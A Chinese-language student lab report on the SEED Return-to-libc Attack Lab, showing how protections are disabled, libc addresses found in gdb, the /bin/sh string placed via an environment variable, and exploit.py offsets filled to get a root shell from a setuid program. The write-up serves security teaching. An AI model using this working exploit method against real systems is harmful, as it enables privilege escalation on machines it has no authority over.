第三次实验

姓名： 林一帆

学号： 57119114

报告日期： 2021.7.13

实验内容： Return-to-libc Attack Lab

实验过程：

实验环境设置

Turning off countermeasures

取消地址空间随机化这一特性

```
[07/13/21]seed@VM:~/.../Labsetup$  sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

编译时使用-fno-stack-protector 禁用堆栈保护机制

始终使用-z noexecstack 选项进行编译

link /bin/sh to zsh

```
[07/13/21]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
```

实验提供了一个 Vulnerable Program，首先编译代码，并设置为特权程序

```
[07/13/21]seed@VM:~/.../Labsetup$ make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
```

Task 1: Finding out the Addresses of libc Functions

```
[07/13/21]seed@VM:~/.../Labsetup$ touch badfile
[07/13/21]seed@VM:~/.../Labsetup$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ break main
Breakpoint 1 at 0x12ef
gdb-peda$ run
```

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$ quit
```

Task 2: Putting the shell string in the memory

定义一个新的变量 MYSHELL 并让他含有字符串“/bin/sh”然后使用 env 指令验证以上过程

```
[07/13/21]seed@VM:~/.../Labsetup$ export MYSHELL=/bin/sh
[07/13/21]seed@VM:~/.../Labsetup$ env | grep MYSHELL
MYSHELL=/bin/sh
```

编写下面的程序，用于找到变量 MYSHELL 的地址

```
1 void main()
2 {
3   char* shell = getenv("MYSHELL");
4   if (shell)
5      printf("%x\n", (unsigned int)shell);
6 }
```

编译并执行以上程序

```
[07/13/21]seed@VM:~/.../Labsetup$ gcc -m32 -fno-stack-protector -z noexecstack -o prtenv pr
tenv.c
[07/13/21]seed@VM:~/.../Labsetup$ prtenv
ffffd3c2
```

Task 3: Launching the Attack

完善提供的 python 程序中的变量值

1. 获取 ebp 的值

```
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd60
Input size: 0
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
(^_^)(^_^) Returned Properly (^_^)(^_^)
```

2. ebp 距离 buffer 的距离为 24

3. x=24+12=36, y=24+4=28, z=24+8=32

4. 完善程序

```
X = 36
sh_addr = 0xffffd3c2        # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420    # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80      # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
```

进行攻击并获得一个 shell，攻击成功。

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd60
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
#
```

若将代码中的 exit 部分注释，重新生成 badfile 并攻击，在攻击结束退出时，出现错误，system 函数返回区若随便存一个值，当其返回时，程序可能崩溃，只有存放了 exit 函数的地址，才能完美结束程序

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd60
Input size: 300
Address of buffer[] inside bof():  0xffffcd30
Frame Pointer value inside bof():  0xffffcd48
# exit
Segmentation fault
```

若将 retlib 改名为 newretlib，进行攻击

```
[07/13/21]seed@VM:~/.../Labsetup$ ./exploit.py
[07/13/21]seed@VM:~/.../Labsetup$ ./newretlib
Address of input[] inside main():  0xffffcd50
Input size: 300
Address of buffer[] inside bof():  0xffffcd20
Frame Pointer value inside bof():  0xffffcd38
zsh:1: command not found: h
```

则攻击失败，MYSHELL 环境变量的地址和程序名称的长度有关，当程序名称改变时，MYSHELL 的位置发生变化。